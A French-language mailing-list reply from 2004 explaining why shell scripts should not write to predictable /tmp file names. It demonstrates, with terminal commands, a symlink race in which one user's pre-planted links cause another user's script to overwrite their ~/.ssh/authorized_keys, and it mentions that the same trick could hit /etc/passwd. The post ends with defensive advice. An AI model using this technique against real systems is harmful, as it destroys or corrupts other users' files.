[gull] daemon

Marc SCHAEFER schaefer at alphanet.ch
Sun Mar 14 12:31:02 CET 2004


On Sun, Mar 14, 2004 at 11:36:33AM +0100, Pierre Maitre wrote:
> Pourtant, si les permissions sont correctes, l'attaque est refusée (voir 
> ci-dessous) ou ai-je mal compris ce que tu veux démontrer ci-dessus?

Oui:

> -rw-r--r-- 1 root root  29 mar 14 11:28 file_1
> maitre at anesth1:/tmp$ echo > blabla.truc.42 'test'
> bash: blabla.truc.42: Permission denied

On le fait plutôt autrement (je n'aime pas trop décrire des attaques
point à point, mais dans ce cas c'est très connu). Pour comprendre,
bien visualiser qui écrit quoi.

   testuser at defian:~$ echo $$
   4230
   testuser at defian:~$ cd /tmp
   testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4234
   testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4235
   testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4236
   testuser at defian:/tmp$ ln -s ~schaefer/.ssh/authorized_keys tmp.file.4237

   schaefer at defian:~$ ls -la .ssh/authorized_keys 
   -rw-r--r--    1 schaefer schaefer      605 Feb 16  2003 .ssh/authorized_keys
   
   schaefer at defian:~% TMP_FILE=/tmp/tmp.file.$$
   schaefer at defian:~% echo $$
   4236
   schaefer at defian:~% date > $TMP_FILE
   
   schaefer at defian:~% ls -la .ssh/authorized_keys 
   -rw-r--r--    1 schaefer schaefer       29 Mar 14 12:16 .ssh/authorized_keys

Et voilà, une attaque DoS sur un fichier auquel `testuser' n'a aucun
accès.  Remplacer schaefer par root et le fichier par /etc/passwd
et on a une idée des dégâts possibles, avec dans certains cas plus
qu'un simple DoS.

Il ne sert à rien de tester l'existence du fichier avant, ou de faire
un rm: la fenêtre de vulnérabilité existe. On diminuera certes la
probabilité.

Par contre, la création d'un répertoire sécurisé est sûre (si mkdir
retourne, le répertoire a été créé et n'existait pas).

Je recommande d'utiliser $HOME/tmp dans tous les scripts (bash: ~/tmp)
plutôt que /tmp. Et de s'assurer que ~/tmp est 700.





More information about the gull mailing list